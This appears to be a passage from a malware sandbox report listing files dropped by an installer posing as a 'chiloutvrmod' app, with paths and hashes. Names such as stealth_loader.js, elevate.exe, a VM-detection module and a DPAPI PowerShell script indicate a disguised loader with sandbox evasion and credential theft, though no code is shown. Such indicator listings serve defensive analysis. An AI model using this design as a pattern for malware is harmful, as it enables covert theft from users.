                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\lib\methods\inspect.js
                  • Size 174B
                  • SHA256 4975a78daee850adee62ba98719d0f223819a0ec135a07c0e302994bd8dbff61
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  pragma.js
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\lib\methods\pragma.js
                  • Size 536B
                  • SHA256 8b1c54475bd4340b15e25c50d53d06308be65f8f919ecbe4aa9d285ca859ad5a
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  serialize.js
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\lib\methods\serialize.js
                  • Size 625B
                  • SHA256 7a10ee5c2735384b7f0c361811bc6d017db29f62b203fd3c68a35f667e2c2605
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  table.js
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\lib\methods\table.js
                  • Size 6KB
                  • SHA256 97c42d9ded1aa96c7d916b5b92f96b4e59581d50eaf629cd2c7afb78ff26a9ea
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  transaction.js
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\lib\methods\transaction.js
                  • Size 2KB
                  • SHA256 bc8624a3ef689d8f78e5669020ad121e17acbc93b1d5ee5afe26860b1084c66c
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  wrappers.js
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\lib\methods\wrappers.js
                  • Size 1KB
                  • SHA256 a150a6271d23f4e5f8953b129f370ff096c7cdc4b812afbf080a6cf4ab741bcf
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  sqlite-error.js
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\lib\sqlite-error.js
                  • Size 717B
                  • SHA256 2582d61c27680dead168543f392eb102be621dfbef282a4ca4c7c21aa5e7c75d
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  util.js
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\lib\util.js
                  • Size 331B
                  • SHA256 92b2e39e2151b43a2252e10b6d6de876ecaf0008336a4fa1dfe1317b20f1916f
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  package.json
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\package.json
                  • Size 789B
                  • SHA256 7de814561f018b0a493fbdaf7026cd4053937de66736be0175d1d0f7727ab4b4
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  better_sqlite3.cpp
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\src\better_sqlite3.cpp
                  • Size 129KB
                  • SHA256 551abc7d9feea0ad2acb97f33125c5e8800d6d84a1da4390512d08743f924b1e
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  better_sqlite3.hpp
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\src\better_sqlite3.hpp
                  • Size 42KB
                  • SHA256 689831cdf547d53b2156fa66088f04b89ed71173f4a832300230ff765879f6bf
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  LICENSE
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\resources\app.asar.unpacked\node_modules\node-vm-detect\LICENSE
                  • Size 1KB
                  • SHA256 773de8cc68a89212ad93589b3fe9abcdc64e573cec2c684af844dcc9e7646ef5
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  cli.js
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\resources\app.asar.unpacked\node_modules\node-vm-detect\dist\cli.js
                  • Size 40KB
                  • SHA256 1e350f69922fae919608c966aaad02f3660851a1d6814bc74662e8568444180c
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  vmDetect.node
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\resources\app.asar.unpacked\node_modules\node-vm-detect\dist\darwin\arm64\vmDetect.node
                  • Size 161KB
                  • SHA256 04b07f23c2aa2b1a3f19580deba5632fcbfa3c55404b465d4312b8e177e1d46d
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  vmDetect.node
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\resources\app.asar.unpacked\node_modules\node-vm-detect\dist\darwin\x64\vmDetect.node
                  • Size 175KB
                  • SHA256 9a661ba191c79ace197525e75191902fd9f62c508a0b4113eea282003ebcfe6a
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  index.cjs
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\resources\app.asar.unpacked\node_modules\node-vm-detect\dist\index.cjs
                  • Size 1KB
                  • SHA256 5eab9a38b20f28ad36d8872c8cd5b9f7045199ed0234523d13805179fd915afd
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  index.esm.js
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\resources\app.asar.unpacked\node_modules\node-vm-detect\dist\index.esm.js
                  • Size 1KB
                  • SHA256 a5a7de769c38039a77e77974848c8d43aa1ad461b96c73276f8f895f1affba2b
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  vmDetect.node
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\resources\app.asar.unpacked\node_modules\node-vm-detect\dist\linux\arm64\vmDetect.node
                  • Size 314KB
                  • SHA256 77847ca63d7e2aa4b4b2f000b52501d40a632ddecc2b09ab84fc49dbd55f6a89
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  vmDetect.node
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\resources\app.asar.unpacked\node_modules\node-vm-detect\dist\linux\x64\vmDetect.node
                  • Size 288KB
                  • SHA256 d0ce09a9e40ba569de66a6379d893cf5ea89854a795f820686d896f9257501c1
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  node-vm-detect-child.js
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\resources\app.asar.unpacked\node_modules\node-vm-detect\dist\node-vm-detect-child.js
                  • Size 967B
                  • SHA256 ab0fd44abc02a37d3a7cdcd30d9172aeb81c425e112d88357a7d90415e0eccd8
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  vmDetect.node
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\resources\app.asar.unpacked\node_modules\node-vm-detect\dist\win32\arm64\vmDetect.node
                  • Size 338KB
                  • SHA256 fa575d992a255ab04ed2d6dfead75e142dcf5da6f8dc46dd23aa2895f780e19a
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  vmDetect.node
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\resources\app.asar.unpacked\node_modules\node-vm-detect\dist\win32\x64\vmDetect.node
                  • Size 433KB
                  • SHA256 312a270b60642ef1d309a94d7169c92490770c41a1299a6ae2d91ee20bbd1780
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  package.json
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\resources\app.asar.unpacked\node_modules\node-vm-detect\package.json
                  • Size 978B
                  • SHA256 0f26b9d66bd6f76fc85db9cec20d0c71e3f94436b869c1aed61b37d6cd6ba628
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  stealth_loader.js
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\resources\app.asar.unpacked\stealth_loader.js
                  • Size 3KB
                  • SHA256 5e23f6d5cd2fe7b983d6eff6effc9db8758e92ad2d841668883d564326d907b1
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  elevate.exe
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\resources\elevate.exe
                  • Size 105KB
                  • SHA256 9b1fbf0c11c520ae714af8aa9af12cfd48503eedecd7398d8992ee94d1b4dc37
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  snapshot_blob.bin
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\snapshot_blob.bin
                  • Size 306KB
                  • SHA256 318c99695b76079bc82378d5bf38dc9f8bc2d28fe4fbb487a1eda03170af233e
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  vk_swiftshader.dll
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\vk_swiftshader.dll
                  • Size 5.2MB
                  • SHA256 4c27819615b1561fef94520bd0d3a9f3497d6e8ceba28cf4a9e1cac94d899185
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  vk_swiftshader_icd.json
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\vk_swiftshader_icd.json
                  • Size 106B
                  • SHA256 32d83ff113fef532a9f97e0d2831f8656628ab1c99e9060f0332b1532839afd9
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  vulkan-1.dll
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\vulkan-1.dll
                  • Size 874KB
                  • SHA256 7be20f5cce153661ea5a23a37344894e4d67253639e565a28925f055aa6b3be8
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  StdUtils.dll
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\StdUtils.dll
                  • Size 100KB
                  • SHA256 b72e9013a6204e9f01076dc38dabbf30870d44dfc66962adbf73619d4331601e
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  System.dll
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\System.dll
                  • Size 12KB
                  • SHA256 3eb38ae99653a7dbc724132ee240f6e5c4af4bfe7c01d31d23faf373f9f2eaca
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  WinShell.dll
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\WinShell.dll
                  • Size 3KB
                  • SHA256 9be85b986ea66a6997dde658abe82b3147ed2a1a3dcb784bb5176f41d22815a6
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  nsProcess.dll
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\nsProcess.dll
                  • Size 4KB
                  • SHA256 30c6c3dd3cc7fcea6e6081ce821adc7b2888542dae30bf00e881c0a105eb4d11
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  nsis7z.dll
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\nsis7z.dll
                  • Size 424KB
                  • SHA256 b393f05e8ff919ef071181050e1873c9a776e1a0ae8329aefff7007d0cadf592
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  sys_dpapi_d1b4473a.ps1
                  • Path C:\Users\Admin\AppData\Local\Temp\sys_dpapi_d1b4473a.ps1
                  • Size 329B
                  • SHA256 8b1594af0b957c81c1dd52fab167ee756daa345828cc22bafdd0e2871e4b0bb2
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  system_check_1786281470284.vbs
                  • Path C:\Users\Admin\AppData\Local\Temp\system_check_1786281470284.vbs
                  • Size 212B
                  • SHA256 2f0cd2d8348b62da9afad1b287cb876cdfacaef67a43ea59e4f64c626ea9956e
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  default.dic
                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Spelling\en-US\default.dic
                  • Size 2B
                  • SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
                  • MD5 SHA1 SHA512
                  Submit Download

                  Network Persistent State
                  • Path C:\Users\Admin\AppData\Roaming\chiloutvrmod\Network\Network Persistent State
                  • Size 111B
                  • SHA256 5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  Network Persistent State~RFe58ce09.TMP
                  • Path C:\Users\Admin\AppData\Roaming\chiloutvrmod\Network\Network Persistent State~RFe58ce09.TMP
                  • Size 59B
                  • SHA256 226eec4486509917aa336afebd6ff65777b75b65f1fb06891d2a857a9421a974
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  LOADER_DEBUG_LOG.txt
                  • Path C:\Users\Public\LOADER_DEBUG_LOG.txt
                  • Size 139B
                  • SHA256 651c2ebad447ffc594e666b58aea32c0cedc791a632859fdf40ebde08b858b60
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  nyx_loader_error.log
                  • Path C:\Users\Public\nyx_loader_error.log
                  • Size 247B
                  • SHA256 d65525583f6de854314988ac5996417959592a3dd88d5cdd071d24a84ebfd3aa
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  memory/1544-1147-0x00000189F92B0000-0x00000189F92D2000-memory.dmp
                  Download

                  memory/1544-1150-0x00000189FA1C0000-0x00000189FA236000-memory.dmp
                  Download

                  memory/1544-1153-0x00000189F9EB0000-0x00000189F9EF8000-memory.dmp
                  Download

                  memory/2068-1296-0x0000021B60F80000-0x0000021B60FD0000-memory.dmp
                  Download